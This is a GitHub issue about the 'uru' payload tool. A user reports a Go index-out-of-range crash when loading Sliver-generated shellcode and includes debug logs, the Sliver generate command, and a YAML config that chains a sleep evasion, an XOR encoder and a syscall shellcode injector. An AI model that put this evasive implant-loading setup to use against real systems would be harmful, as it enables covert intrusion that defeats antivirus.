uru icon indicating copy to clipboard operation
uru copied to clipboard

Shellcode index out of range

Open cmprmsd opened this issue 3 years ago • 0 comments

The execution of shellcode fails for me in any case. The example config fails silently in debug mode with garble enabled.

When creating a new config with only sleep 2 and xor the program does not execute correctly:

PS C:\Users\user\Desktop> .\20220704_9qul_main.exe
[INFO]    Sleep for 2 seconds
[INFO]    Sleep finished
[INFO]    XOR payload data
[INFO]    Loading kernel32.dll
[INFO]    Loading VirtualAlloc, VirtualProtect procedures...
[INFO]    Calling VirtualAlloc for shellcode...
[INFO]    Length of the shellcode: 9415388 bytes
[INFO]    Allocated 9415388 bytes
[DEBUG]   Copying shellcode to memory...
panic: runtime error: index out of range [1890000] with length 1890000

goroutine 1 [running]:
main.run({0xc003200000, 0x8faadc, 0xa12000?})
        lxdlspnq/20220704_9qul_main.go:123 +0x6b7
main.main()
        lxdlspnq/20220704_9qul_main.go:169 +0xff

unobfuscated shellcode comes from sliver: generate --os windows --http https://domain --format shellcode -l

config (tested with and without xor)

payload:
  artifacts:
    - name: sleep
      type: evasion
      args:
        - name: delay
          value: "2"
    - name: xor
      type: encoder
      args:
        - name: Key
          value: "ohmymy"
    - name: windows/native/local/go-shellcode-syscall
      type: injector
  #sgn: false #must be decommented in the code to be used
  type: exe
  arch: x64
  debug: true
  obfuscation: false #need garble to be installed

AV is turned off

cmprmsd avatar Jul 04 '22 12:07 cmprmsd